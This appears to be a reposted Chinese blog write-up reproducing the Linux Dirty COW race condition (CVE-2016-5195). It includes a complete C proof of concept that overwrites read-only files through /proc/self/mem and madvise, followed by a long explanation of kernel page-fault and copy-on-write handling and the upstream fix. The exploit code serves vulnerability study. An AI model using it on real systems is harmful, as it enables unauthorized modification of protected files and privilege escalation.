CVE-2016-5195 復現記錄

文章目錄

  • poc
  • 前置知識
    • 頁表與缺頁異常
    • /proc/self/mem的寫入流程
    • madvise
  • 漏洞點
  • 修復

Dirty COW臟牛漏洞是一個非常有名的Linux競爭條件漏洞,雖然早在2016年就已經被修復,但它依然影響著眾多古老版本的Linux發行版,如果需要了解Linux的COW,依然非常值得學習。

漏洞:CVE-2016-5195
影響Linux版本:>2.6.22, <4.8.3 / 4.7.9 / 4.4.26
漏洞類型:競爭條件
使用Linux樣本:4.8.2

注意:4.8.2版本較低,如果使用較高版本的gcc編譯,可能會產生一些難以解決的問題,如一直重啟等,這里使用的是Ubuntu 16.04中的gcc完成編譯,在22.04的qemu中可以正常運行。如果不想自己編譯,筆者也將自己編譯的內核、文件系統等必要的文件上傳到了網盤以供下載。

poc

poc來源:資料

#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <unistd.h>
#include <sys/stat.h>
#include <string.h>
#include <stdint.h>struct stat dst_st, fk_st;
void * map;
char *fake_content;void * madviseThread(void * argv);
void * writeThread(void * argv);int main(int argc, char ** argv)
{if (argc < 3){puts("usage: ./poc destination_file fake_file");return 0;}pthread_t write_thread, madvise_thread;int dst_fd, fk_fd;dst_fd = open(argv[1], O_RDONLY);fk_fd = open(argv[2], O_RDONLY);printf("fd of dst: %d\nfd of fk: %d\n", dst_fd, fk_fd);fstat(dst_fd, &dst_st); // get destination file lengthfstat(fk_fd, &fk_st); // get fake file lengthmap = mmap(NULL, dst_st.st_size, PROT_READ, MAP_PRIVATE, dst_fd, 0);fake_content = malloc(fk_st.st_size);read(fk_fd, fake_content, fk_st.st_size);pthread_create(&madvise_thread, NULL, madviseThread, NULL);pthread_create(&write_thread, NULL, writeThread, NULL);pthread_join(madvise_thread, NULL);pthread_join(write_thread, NULL);return 0;
}void * writeThread(void * argv)
{int mm_fd = open("/proc/self/mem", O_RDWR);printf("fd of mem: %d\n", mm_fd);for (int i = 0; i < 0x100000; i++){lseek(mm_fd, (off_t) map, SEEK_SET);write(mm_fd, fake_content, fk_st.st_size);}return NULL;
}void * madviseThread(void * argv)
{for (int i = 0; i < 0x100000; i++){madvise(map, 0x100, MADV_DONTNEED);}return NULL;
}

簡單解釋一下,這個程序需要兩個參數,第一個參數是需要被修改的只讀文件,第二個參數是可讀的其他文件。執行后第一個文件中的內容將會被改寫為第二個文件的內容。程序會通過mmap系統調用將第一個文件映射到內存空間,隨后創建兩個線程,一個線程循環通過write打開當前進程的mem虛擬文件對映射的內存進行寫操作,一個線程循環調用madvise系統調用提示內核:這塊映射的內存空間不再需要。這樣,這塊映射內存會在某個時刻被內核釋放掉。

那么這個漏洞的原理是什么呢?簡單看看上面的參考博客,發現要理解起來還是有一定難度的。

前置知識

頁表與缺頁異常

在操作系統這門課中我們學到,現代操作系統對于內存地址有一定的處理。內存被分為若干頁,在進程中被處理的內存頁均為虛擬內存頁,其地址與物理內存頁不同,因此需要有一個物理頁和虛擬頁的映射表。這個映射表由內存管理單元MMU管理,每一個進程都有一個映射表。

對于現代操作系統,頁表一般是多級的,這樣做的好處是可以節省內存空間,并降低頁表內存空間的連續性。什么意思呢?假如頁表只有一級,對于一個64位地址,最低12位作為頁內偏移,那么高52位都將作為頁表的索引地址。為了效率考慮,MMU只能使用數組進行索引,那么這樣的話就會有252個頁表項,而其中絕大部分都是空的,會大大浪費內存空間,且這塊空間是連續的。而如果使用二級頁表,中間12位為二級頁表索引,最高40位為一級頁表索引,這樣理論上只有240個一級頁表項,它們連續存儲的空間消耗大大小于只使用一級頁表的情況(雖然還是很大)。而當一個一級頁表對應的地址范圍都無效時,內存中完全可以不保存它所對應的二級頁表,將二級頁表的物理地址設置為0表示無效即可,這樣大大節省了空間。否則,一級頁表項保存其下的二級頁表地址

目前主流x86 Linux系統使用4級(多數)或5級頁表,對于4級頁表,索引64位虛擬地址空間時,假設最低12位作為頁內偏移,每一級頁表項負責13位(實際不是這樣安排的),即一個一級頁表項下面有213個二級頁表項,一個二級頁表項下面有213個三級頁表項,以此類推。那么這樣一共就會有213個一級頁表。假設一個進程只有一個有效的虛擬內存頁,那么四級頁表系統只需要保存:213個一級頁表項(其中只有有效虛擬內存頁對應的一級頁表項具有有效的二級頁表地址)、213個二級頁表項(其中只有有效虛擬內存頁對應的二級頁表項具有有效的三級頁表地址)、213個三級頁表項(…)、213個四級頁表項(…),共215個頁表項,如果一個頁表項的大小為0x10字節,那么一共就只有320KB用來保存頁表項,對于現在的內存來說完全夠用。

由上面的分析可知,映射表中通常只會保存很少的頁表項PTE(Page Table Entry),頁表的級數越多,映射訪問需要訪存的次數越多,效率越低。為此,人們為現代OS提供了TLB進行訪存提速,它相當于一個能夠動態記錄頁表項且并行查找的硬件,這不是本文的重點,略過。

如果CPU訪問了一個虛擬地址,而這個虛擬地址不存在于任何一個PTE中,或者進行的訪問操作(讀或寫)在這個頁中沒有權限進行,那么MMU會向OS報缺頁異常

缺頁異常一共分為3類:硬缺頁、軟缺頁以及無效缺頁。前兩種都是有效的缺頁,可以被合理處理;而后面一種是真正的異常,會導致進程立即中止。這三種異常到底什么意思呢?

  • 硬缺頁異常:物理內存沒有對應的頁幀。什么意思?比如你的筆記本內存不夠,你設置了磁盤的內存交換,讓OS在物理內存不足時將暫時沒有使用的內存內容移動到磁盤中,空余出內存存放其他的重要數據。這樣,原來的內存數據就暫時不在內存之中,即沒有對應的頁幀。此類異常的處理通常需要較大開銷。(實際上的可能場景有三種,具體內容詳見資料,很詳細很長但是非常復雜,在此%一下作者,這是真大佬,沒見過對內核內存管理理解這么透徹的)
  • 軟缺頁異常:物理內存有對應頁幀。這類大多是發生在寫時復制COW時,當父進程fork出一個子進程后,子進程需要對內存空間進行修改,那么OS就需要將父進程的部分內存復制一份,隨后將這個新的頁填入到子進程頁表的對應位置。
  • 無效缺頁異常:要訪問的虛擬內存地址原本就是無效的,本來就不應該有物理內存映射。此類問題會報段錯誤并中止進程。

/proc/self/mem的寫入流程

(下面的函數名前面加@的帶鏈接可跳轉查看)

這是一個/proc目錄下的特殊文件,/proc/self表示當前進程,而mem則作為一個虛擬文件,表示當前進程的內存空間。

我們都知道,當用戶程序通過open函數打開一個文件時,內核會為用戶程序返回一個文件描述符,用戶程序后續可通過這個文件描述符整數對文件進行操作。為了將文件操作與不同文件(普通文件、進程文件、設備文件等)解耦合,Linux設計了一個file_operations結構體,對文件描述符進行讀、寫等操作時,在內核中實際上是在執行file_operations中的讀寫函數。

而對于/proc目錄下表示內存的文件,Linux內核定義了屬于這些文件的file_operations

static const struct file_operations proc_mem_operations = {.llseek		= mem_lseek,.read		= mem_read,.write		= mem_write,.open		= mem_open,.release	= mem_release,
};

也即打開/proc/self/mem后,我們調用write函數實際上在內核調用的是mem_write。通過查看源碼發現,它實際上調用的是@mem_rw

  • 內核首先會通過__get_free_page獲得一個臨時的空閑內存頁
  • 使用copy_from_user將當前進程的內存數據復制到臨時頁。
  • 調用access_remote_vm對臨時內存進行訪問,完成讀寫操作。

而對于access_remote_vm(全部邏輯在@__access_remote_vm),主要操作包括:

  • 調用down_read為內存上讀鎖。
  • 進入循環:
    • 調用get_user_pages_remote函數,獲取要讀或寫的內存頁的物理地址。
    • 如果內存頁獲取失敗,進行其他處理。
    • 內存頁獲取成功后,每一次以一頁為單位進行讀或寫操作,首先計算要操作的內存大小,隨后調用kmap將要操作的內存映射到一個內核內存頁中。
    • 如果操作為寫,則調用copy_to_user_page向映射的內存頁寫入數據,并設置內存頁為臟頁(set_page_dirty_lock
    • 調用kunmap解除映射,并刪除cache中的對應項。
  • 調用up_read為內存解鎖讀鎖。

那么這里面的重點就在于get_user_pages_remote,它是如何獲取物理地址的。調用鏈為:

get_user_pages_remote__get_user_pages_locked__get_user_pages

主要邏輯都在后面兩個函數中。首先看到@__get_user_pages_locked。這個函數中有一個大循環,其中調用了兩次@__get_user_pages,這個函數內部的邏輯大概為:

  • 定義一個vm_area_struct實例vma初始化為空。vma表示虛擬內存區域,通常與一頁或多頁相關聯。
  • 一個大循環。
    • 如果vma為空或要獲取的地址超過了vma的范圍:
      • 調用find_extend_vma函數獲取vma
      • 進行其他的處理,完成后返回或繼續進行下一頁處理。
    • 調用follow_page_mask獲取給定虛擬地址對應的物理頁。
    • 如果沒有獲取到,可能原因是對應物理頁不存在或沒有寫權限:
      • 調用faultin_page進行缺頁異常處理。
      • 如果處理成功則重試,跳轉到調用follow_page_mask之前;否則返回或處理下一頁。
    • 否則如果頁表不存在,則處理下一頁。
    • 否則如果返回錯誤值,立即返回。
    • 進行頁面的其他處理,刷新計數器。

下面看到@faultin_page。這個函數里涉及大量針對flags參數的判斷與修改,根據源碼分析發現,傳入這個函數的flags參數為FOLL_TOUCH | FOLL_REMOTE | FOLL_GET | FOLL_WRITE | FOLL_FORCE

  • 進行一系列判斷與變量修改。
  • 調用handle_mm_fault處理缺頁異常,分配有效物理內存頁。
  • 根據handle_mm_fault函數返回值進行其他處理。
  • 如果需要寫且有寫權限,則去除flags中的FOLL_WRITE標志位。

在@handle_mm_fault中,首先檢查虛擬內存的權限,如果發現虛擬內存無效會給出SIGSEGV信號并返回。主要邏輯在@__handle_mm_fault中。

__handle_mm_fault中,將會從一級頁表PGD依次向下獲取頁目錄,若分配失敗,表示內存不足,會返回VM_FAULT_OOM。中間經過一系列處理后調用@handle_pte_fault繼續進行處理。

handle_pte_fault中,由于上一級函數已經創建PMD三級頁目錄項,因此會進入第一個if語句將fe->pte設置為空,由此進入第二個if語句。根據代碼分析可知,目前分析的調用鏈所處理的vma不是匿名vma,因此會調用@do_fault處理后直接返回,下面的代碼不會執行。

do_fault中,由于我們處理的是寫的異常,因此會跳過前兩個判斷,進入第三個if語句調用@do_cow_fault,即處理寫時復制所導致的缺頁異常。

do_cow_fault中:

  • 調用了alloc_page_vma函數分配一個新的內存頁。
  • 調用__do_fault處理異常。
  • 調用alloc_set_pte函數將新分配的內存頁更新到PTE中。

到這里,__get_user_pages函數就成功調入了這個內存頁,并將其地址存放到了頁表項中。隨后會通過goto retry再一次調用follow_page_mask。在第二次調用中,由于內核能夠找到相應的頁表項,因此在handle_pte_fault中會執行后面的代碼。后面由于需要進行寫操作,因此會調用pte_write函數判斷頁面是否可寫,這里顯然是不可寫。這樣就會調用@do_wp_page并返回。

do_wp_page中,由于頁面本身不可寫,因此不能對頁面進行共享,而是只能進行復制(使用wp_page_copy),而復制后的內存頁只屬于需要進行COW的進程,因此faultin_page會給予寫權限,本次調用成功返回。隨后follow_page_mask第三次來到retry標號處,隨后就可以使用follow_page_mask成功獲取一個符合權限的存在的內存頁,COW流程結束。

madvise

madvise的一種易懂的理解是,我們用戶給內核有關于某一段內存的使用建議,告訴內核應該如何使用某一段內存。建議分為多種,下面是Linux源碼中的注釋:

/** The madvise(2) system call.** Applications can use madvise() to advise the kernel how it should* handle paging I/O in this VM area.  The idea is to help the kernel* use appropriate read-ahead and caching techniques.  The information* provided is advisory only, and can be safely disregarded by the* kernel without affecting the correct operation of the application.** behavior values:*  ...*  MADV_DONTNEED - the application is finished with the given range,*		so the kernel can free resources associated with it.*  ...*/

這里我們只關注MADV_DONTNEED這個選項,它表示應用程序已經不再需要這段內存,可以讓內核調出這些內存頁。注意調出不是釋放,而是暫時不用。

漏洞點

上面的分析中,尤其是COW的流程難以理解,需要細細咀嚼。

而這個著名CVE到底是如何產生的呢?

需要注意的是,我們進行映射的那個文件原本是不可寫的,打開的時候也沒有嘗試獲取寫權限,但問題是,我們可以直接訪問當前進程的內存空間虛擬文件/proc/self/mem,而這個文件是具有寫權限的。

這就造成了一個問題:我通過打開這個虛擬文件對那塊不可寫的內存空間強行寫入會怎樣?這個問題我們在上面的分析中已經得到了答案——內核會通過COW機制讓本次寫操作寫入的是那塊映射內存空間的復制頁,如果我們不同時使用madvise競爭,寫入操作不會直接對映射內存寫入。這樣即滿足了映射空間不可寫的權限,也滿足了寫入的要求。

但現在,我們使用了madvise系統調用。如果我們在第二次調用follow_page_mask之后讓madvise將本來分配到的內存頁又給調出去了,這樣的話第三次調用follow_page_mask就不能正常獲取內存頁,但此時保存頁面權限的變量foll_flags已經添加了可寫權限。因此follow_page_mask第三次調用會將原來的文件的只讀映射副本重新調入(因為此時foll_flags已經添加了寫權限,內核誤以為原本映射的內存頁可寫),這就造成了條件競爭漏洞,最終在第四次調用follow_page_mask時獲取到原來的只讀副本并且能夠成功寫入。

修復

經過了一番分析之后,我們總算是理解了這個著名漏洞的成因,即權限變量與內存頁分離不同時存在導致可能產生條件競爭。那么要想修復這個問題,最為簡單的方法就是將二者進行綁定,不使用臨時變量判斷頁面的權限,而是直接將頁面權限字段加入到內存頁實例中,這樣,即使madvise成功調出了原先只讀的物理頁,follow_page_mask獲取到的也依然是只讀的物理頁。

從ChangeLog可知,Linus Torvalds解決這個問題的方式比上面的方式更簡單,他添加了一個FOLL_COW常量,專門用來處理COW流程,當要寫入的內存頁成功申請后,為變量添加FOLL_COW而不是FOLL_WRITE,將二者區分開來,這樣不必修改表示內存頁的結構體本身。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/716805.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/716805.shtml
英文地址,請注明出處:http://en.pswp.cn/news/716805.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

Redis7 實現持久化的三種方式

1、概述 1.1、Redis持久化的重要性 數據恢復&#xff1a;Redis是一個內存數據庫&#xff0c;如果系統或服務宕機&#xff0c;內存中的數據將會丟失。Redis的持久化機制可以把數據保存到磁盤上&#xff0c;以便在系統重啟后恢復數據。這是Redis持久化最基本也是最重要的功能。…

JCL中IEFBR14和COND

JCL中IEFBR14和COND ? COND CODE&#xff0c;就是反映JCL中STEP運行狀態的參數&#xff0c;JCL正常終了的COND CODE 是0000&#xff0c;另外筆者在執行某些工具JCL時候&#xff0c;比方說簡單一個COMPARE吧&#xff0c;可能會出現0012、0004或者0016&#xff0c;0001&#xf…

JSON與Object等的相互轉換

JSON與Object的轉換 // 將 Object 對象轉換為 String 類型 String jsonString = JSON.toJSONString(body);// 將 String 或 byte[] 轉換為 JSONObject 類型 JSONObject jsonObject = JSONObject.parseObject(jsonString); // 根據鍵key獲取 JSONObject 中的某一個鍵值對的值 S…

數據結構:棧和隊列的實現附上源代碼(C語言版)

目錄 前言 1.棧 1.1 棧的概念及結構 1.2 棧的底層數據結構選擇 1.2 數據結構設計代碼&#xff08;棧的實現&#xff09; 1.3 接口函數實現代碼 &#xff08;1&#xff09;初始化棧 &#xff08;2&#xff09;銷毀棧 &#xff08;3&#xff09;壓棧 &#xff08;4&…

金三銀四求職攻略:如何在面試中脫穎而出

隨著春天的腳步漸近&#xff0c;對于眾多程序員來說&#xff0c;一年中最繁忙、最重要的時期也隨之而來。金三銀四&#xff0c;即三月和四月&#xff0c;被廣大程序員視為求職的黃金時段。在這段時間里&#xff0c;各大公司紛紛開放招聘&#xff0c;求職者們則通過一場又一場的…

初階數據結構之---棧和隊列(C語言)

引言 在順序表和鏈表那篇博客中提到過&#xff0c;棧和隊列也屬于線性表 線性表&#xff1a; 線性表&#xff08;linear list&#xff09;是n個具有相同特性的數據元素的有限序列。 線性表是一種在實際中廣泛使用的數據結構。線性表在邏輯上是線性結構&#xff0c;也就是說是連…

xxl-job--02--可視化界面各功能詳細介紹

提示&#xff1a;文章寫完后&#xff0c;目錄可以自動生成&#xff0c;如何生成可參考右邊的幫助文檔 文章目錄 可視化界面1 新增執行器2.新增任務**執行器**&#xff1a;**任務描述**&#xff1a;**路由策略**&#xff1a;**Cron**&#xff1a;cron表達式**運行模式**JobHandl…

01.18 校招 實習 內推 面經

綠*泡*泡VX&#xff1a; neituijunsir 交流*裙 &#xff0c;內推/實習/校招匯總表格 1、校招 | 中國航天科工四院四部2024春季校園招聘 校招 | 中國航天科工四院四部2024春季校園招聘 2、阿里集團24屆秋招「空缺崗位」大盤點 校招 | 阿里集團24屆校招補錄大盤點&#xff0…

全量知識系統問題及SmartChat給出的答復 之15 幣圈生態鏈

Q40. 今天聊聊關于幣圈和幣圈生態方面&#xff0c;尤其是在建立和保護各種幣圈生態鏈的問題。 主要包括各種主體、 各種權益 和 各種幣及其幣圈的 分類&#xff0c;包括 概念、關系和 鏈接和斷鏈的判斷根據等等&#xff0c; 是否有一個比較清晰的體系結構呢&#xff1f; 因為現…

java Springboot vue 健身房系統,簡單練手項目

該項目主要分為管理員和會員模塊 管理員具有&#xff1a;會員管理&#xff0c;器材管理,員工管理&#xff0c;健身課程管理 會員模塊&#xff0c;可以在線報名健身課程&#xff0c;查看自己課程 采用VUE前端開發和springboot后端開發&#xff0c;極簡代碼編寫&#xff0c;沒…

融資項目——登錄接口的開發

1. 首先創建登錄與用戶信息VO類。 Data ApiModel(description "登陸對象") public class LoginVO {ApiModelProperty("手機號")private String mobile;ApiModelProperty("密碼")private String password;ApiModelProperty("用戶類型"…

藍橋每日一題 (差分)3月3號

//3279改變數組元素 自己做TLE&#xff1a;奈何想不出怎么用差分 #include<bits/stdc.h> using namespace std; //3279 改變數組元素&#xff08;超時&#xff09; const int N2e510; vector<int>a; int t,n; int main() {cin>>t;while(t--){cin>>n;…

ubuntu20.04安裝docker及運行

ubuntu20.04安裝docker及運行 ubuntu環境版本 Ubuntu Focal 20.04 (LTS) 查看系統版本 rootubuntu20043:~# cat /proc/version Linux version 5.15.0-78-generic (builddlcy02-amd64-008) (gcc (Ubuntu 11.3.0-1ubuntu1~22.04.1) 11.3.0, GNU ld (GNU Binutils for Ubuntu) …

Vue(黑馬學習筆記)

Vue概述 通過我們學習的htmlcssjs已經能夠開發美觀的頁面了&#xff0c;但是開發的效率還有待提高&#xff0c;那么如何提高呢&#xff1f;我們先來分析下頁面的組成。一個完整的html頁面包括了視圖和數據&#xff0c;數據是通過請求從后臺獲取的那么意味著我們需要將后臺獲取…

通過XML調用CAPL腳本進行測試(新手向)

目錄 0 引言 1 XML簡介 2 通過XML調用CAPL腳本 0 引言 紀念一下今天這個特殊日子&#xff0c;四年出現一次的29號。 在CANoe中做自動化測試常用的編程方法有CAPL和XML兩種&#xff0c;二者各有各的特色&#xff0c;對于CAPL來說新手肯定是更熟悉一些&#xff0c;因為說到在C…

使用Go Validator在Go應用中有效驗證數據

作為一名開發者&#xff0c;確保Go應用中處理的數據是有效和準確的非常重要。Go Validator是一個開源的數據驗證庫&#xff0c;為Go結構體提供強大且易于使用的數據驗證功能。本篇文章將介紹Go Validator庫的主要特點以及如何在Go應用中使用它來有效驗證數據。 什么是Go Valid…

Vue開發實例(五)修改項目入口頁面布局

修改項目入口 一、創建新入口二、分析代碼&#xff0c;修改入口三、搭建項目主頁面布局1、Container 布局容器介紹2、創建布局3、布局器鋪滿屏幕4、創建Header頁面5、加入Aside、Main和Footer模塊 一、創建新入口 創建新的入口&#xff0c;取消原來的HelloWorld入口 參考代碼…

劍指offer刷題記錄Day2 07.數組中重復的數字 ---> 11.旋轉數組的最小數字

名人說&#xff1a;莫道桑榆晚&#xff0c;為霞尚滿天。——劉禹錫&#xff08;劉夢得&#xff0c;詩豪&#xff09; 創作者&#xff1a;Code_流蘇(CSDN)&#xff08;一個喜歡古詩詞和編程的Coder&#x1f60a;&#xff09; 目錄 1、重建二叉樹①代碼實現&#xff08;帶注釋&am…

【重溫設計模式】職責鏈模式及其Java示例

職責鏈模式的介紹 在開發過程中&#xff0c;我們經常會遇到這樣的問題&#xff1a;一個請求需要經過多個對象的處理&#xff0c;但是我們并不知道具體由哪個對象來處理&#xff0c;或者說&#xff0c;我們希望由接收到請求的對象自己去決定如何處理或者是將請求傳遞給下一個對…

CSS 選擇器的常見用法

這里CSS選擇器主要分為以下這幾種&#xff1a;1. 標簽選擇器 2. class選擇器 3. id選擇器 4. 復合選擇器 5. 通配符選擇器 CSS 選擇器的主要功能就是選中??指定的標簽元素. 選中了元素, 才可以設置元素的屬性. 1.標簽選擇器 <style>p{color: red;} </style> &…